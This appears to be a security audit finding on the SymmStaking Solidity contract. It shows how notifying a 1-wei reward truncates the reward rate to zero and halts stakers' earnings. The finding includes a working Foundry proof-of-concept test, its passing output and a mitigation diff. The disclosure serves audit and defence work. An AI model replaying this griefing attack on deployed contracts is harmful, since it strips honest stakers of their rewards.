Jovial Gauze Porpoise

High

# Attacker can force reward rate to zero by notifying minimal rewards, affecting all stakers' earnings

### Summary

Integer division truncation in reward rate calculation will cause a complete halt of reward distribution for all stakers as attackers will notify minimal (1wei) rewards, resulting in a zero reward rate during the affected period.

[SymmStaking.sol#L275-L292](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L275-L292)
[SymmStaking.sol#L366-L379](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L366-L379)

### Root Cause

In SymmStaking.sol:_addRewardsForToken() the reward rate calculation "state.rate = amount / state.duration" performs integer division without minimum amount check, causing rate to be zero when amount (1 wei) is significantly smaller than duration (604800 seconds).
```solidity
@> function _addRewardsForToken(address token, uint256 amount) internal {
	TokenRewardState storage state = rewardState[token];

	if (block.timestamp >= state.periodFinish) {
	@>	state.rate = amount / state.duration;
	} else {
		uint256 remaining = state.periodFinish - block.timestamp;
		uint256 leftover = remaining * state.rate;
		state.rate = (amount + leftover) / state.duration;
	}

	state.lastUpdated = block.timestamp;
	state.periodFinish = block.timestamp + state.duration;
}
```

```solidity
Here's the detailed calculation:

1. Initial Setup (t=0):
- duration = 604800 (7 days in seconds)
- attacker stake = 100e18 SYMM
- alice stake = 1000e18 SYMM
- totalSupply = 1100e18 SYMM

Vulnerability Phase:
- attacker reward amount = 1 wei
- attack rate calculation = 1 / 604800 = 0 (integer division vulnerability)

2. First Period (10 days = 864000 seconds):
rewardPerToken during attack:
- timeElapsed = 864000 seconds
- storedReward = 0
- rate = 0 (due to integer division)
- rewardPerToken = 0 + ((864000 * 0 * 1e18) / 1100e18)
                 = 0

Alice's earned during attack:
- userBalance = 1000e18
- userRewardPaid = 0
- rewards = 0
- earned = (1000e18 * (0 - 0)) / 1e18 + 0
        = 0

3. Recovery Phase (new rewards):
- new reward amount = 5000e18
- new rate = 5000e18 / 604800
          = 5000 * 1e18 / 604800
          ≈ 8.267e12 per second

Second Period (10 days = 864000 seconds):
rewardPerToken after recovery:
- timeElapsed = 864000 seconds
- rewardPerToken = ((864000 * 8.267e12 * 1e18) / 1100e18)
                ≈ 6.49e15

Alice's earned after recovery:
- userBalance = 1000e18
- earned = (1000e18 * 6.49e15) / 1e18
        = 4.545e18 (4.545 tokens)

Test output matches:
Alice earned during rate=0 period: 0
Alice earned after new reward: 4545454545454545346000
```

### Internal Pre-conditions

N/A

### External Pre-conditions

N/A

### Attack Path

N/A

### Impact

The stakers cannot earn any rewards during the affected period (10 days) when rate=0. 
Specifically, with a total stake of 1100e18 SYMM (1000e18 from Alice, 100e18 from attacker):

1. During rate=0 period (10 days):
- Expected daily reward rate = (original 10000e18 reward) / (7 days * 86400 seconds) ≈ 16.534e12 per second
- Expected Alice's rewards = (1000e18/1100e18) * (10 days * 86400 * 16.534e12) ≈ 13.07e18 SYMM
- Actual rewards = 0 SYMM
- Loss = 100% of expected rewards

2. After new rewards (5000e18):
- New reward rate = 5000e18 / (7 days * 86400) ≈ 8.267e12 per second
- Actual rewards resume normally ≈ 6.49e18 SYMM for 10 days

The stakers suffer a complete loss of rewards during the rate=0 period, which can be repeatedly triggered by an attacker with minimal cost (1 wei).

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { Symmio } from "../src/token/symm.sol";
import { SymmStaking } from "../src/staking/SymmStaking.sol";

contract MockRewardToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1_000_000e18);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract SymmStakingAttack is Test {

    ERC1967Proxy    public symmStakingProxy;
    SymmStaking     public symmStaking;
    Symmio          public mockSymmioToken;
    MockRewardToken public mockRewardToken;

    address public admin;
    address public alice;
    address public bob;
    address public attacker;


    function setUp() public {
        admin   = address(1);
        alice   = address(2);
        bob     = address(3);
        attacker  = address(4);
 
        vm.label(admin, "admin");
        vm.label(alice, "alice");
        vm.label(bob, "bol");
        vm.label(attacker, "attacker");

        vm.startPrank(admin);
        mockSymmioToken = new Symmio("mock", "mock", admin);
        mockSymmioToken.grantRole(mockSymmioToken.MINTER_ROLE(), admin);
        mockSymmioToken.mint(admin, 10000e18);

        mockSymmioToken.transfer(alice, 1000e18);
        mockSymmioToken.transfer(bob, 1000e18);
        mockSymmioToken.transfer(attacker, 1000e18);
        vm.stopPrank();
        

        SymmStaking staking = new SymmStaking();
        symmStakingProxy = new ERC1967Proxy(
            address(staking),
            abi.encodeWithSelector(staking.initialize.selector, admin, address(mockSymmioToken))
        );

        vm.startPrank(admin);
        mockRewardToken = new MockRewardToken("Reward", "Reward");
        mockRewardToken.transfer(admin, 10000e18);
        mockRewardToken.transfer(attacker, 10000e18);


        symmStaking = SymmStaking(address(symmStakingProxy));
        symmStaking.grantRole(mockSymmioToken.MINTER_ROLE(), admin);

        mockRewardToken.approve(address(symmStaking), type(uint256).max);
        symmStaking.configureRewardToken(address(mockRewardToken), true);

        address[] memory tokens = new address[](1);
        tokens[0] = address(mockRewardToken);
        uint256[] memory rewardAmounts = new uint256[](1);
        rewardAmounts[0] = 10000e18;

        symmStaking.notifyRewardAmount(tokens, rewardAmounts);
        vm.stopPrank();
    }

    function test_rateZeroAttack() public {
        // 1. Wait for admin's first reward period to end
        vm.warp(block.timestamp + 7 days);
        
        // 2. Attacker stakes some tokens and notifies minimal reward
        vm.startPrank(attacker);
        mockSymmioToken.approve(address(symmStaking), type(uint256).max);
        symmStaking.deposit(100e18, attacker);
        
        // Send 1wei reward to make rate=0
        mockRewardToken.approve(address(symmStaking), type(uint256).max);
        address[] memory tokens = new address[](1);
        tokens[0] = address(mockRewardToken);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1; // 1wei reward
        symmStaking.notifyRewardAmount(tokens, amounts);
        vm.stopPrank();

        // 3. Normal user stakes
        vm.startPrank(alice);
        mockSymmioToken.approve(address(symmStaking), type(uint256).max);
        symmStaking.deposit(1000e18, alice);
        vm.stopPrank();
        
        // 4. Wait and check earnings during rate=0 period
        vm.warp(block.timestamp + 10 days);
        uint256 aliceEarnedDuringZeroRate = symmStaking.earned(alice, address(mockRewardToken));
        console.log("Alice earned during rate=0 period:", aliceEarnedDuringZeroRate);  // Should be 0
        
        // 5. Admin adds new large reward
        vm.startPrank(admin);
        tokens[0] = address(mockRewardToken);
        amounts[0] = 5000e18;
        symmStaking.notifyRewardAmount(tokens, amounts);
        vm.stopPrank();
        
        // 6. Wait same time and check earnings after new reward
        vm.warp(block.timestamp + 10 days);
        uint256 aliceEarnedAfterNewReward = symmStaking.earned(alice, address(mockRewardToken));
        console.log("Alice earned after new reward:", aliceEarnedAfterNewReward);  // Should be > 0
        
        // 7. Verify attack effects
        assertEq(aliceEarnedDuringZeroRate, 0, "Should earn 0 during rate=0 period");
        assertGt(aliceEarnedAfterNewReward, 0, "Should earn rewards after new reward added");
    }
}
```

```solidity
The result:
forge test -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/stakingAttack.t.sol:SymmStakingAttack
[PASS] test_rateZeroAttack() (gas: 331413)
Logs:
  Alice earned during rate=0 period: 0
  Alice earned after new reward: 4545454545454545346000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.32ms (279.80µs CPU time)

Ran 1 test suite in 5.77ms (1.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

The simplest and most straightforward fix is to add a minimum rate check in _addRewardsForToken():

```diff
function _addRewardsForToken(address token, uint256 amount) internal {
    TokenRewardState storage state = rewardState[token];
    
    uint256 newRate;
    if (block.timestamp >= state.periodFinish) {
-     state.rate = amount / state.duration;   
+     newRate = amount / state.duration;
    } else {
        uint256 remaining = state.periodFinish - block.timestamp;
        uint256 leftover = remaining * state.rate;
-      state.rate = (amount + leftover) / state.duration;
+     newRate = (amount + leftover) / state.duration;
    }

    // Ensure minimum reward rate
+ require(newRate > 0, "Rate must be greater than 0");
    
+ state.rate = newRate;
+ state.lastUpdated = block.timestamp;
 + state.periodFinish = block.timestamp + state.duration;
}
```

This mitigation:
1. Directly prevents zero rate by checking the calculated rate
2. Reverts if reward amount is too small relative to duration
3. Simple to implement and verify
4. Gas efficient as it only adds one condition check
5. Clear error message helps users understand the issue

The fix ensures that reward distribution will always work as intended, preventing any attempts to manipulate the rate through minimal reward amounts.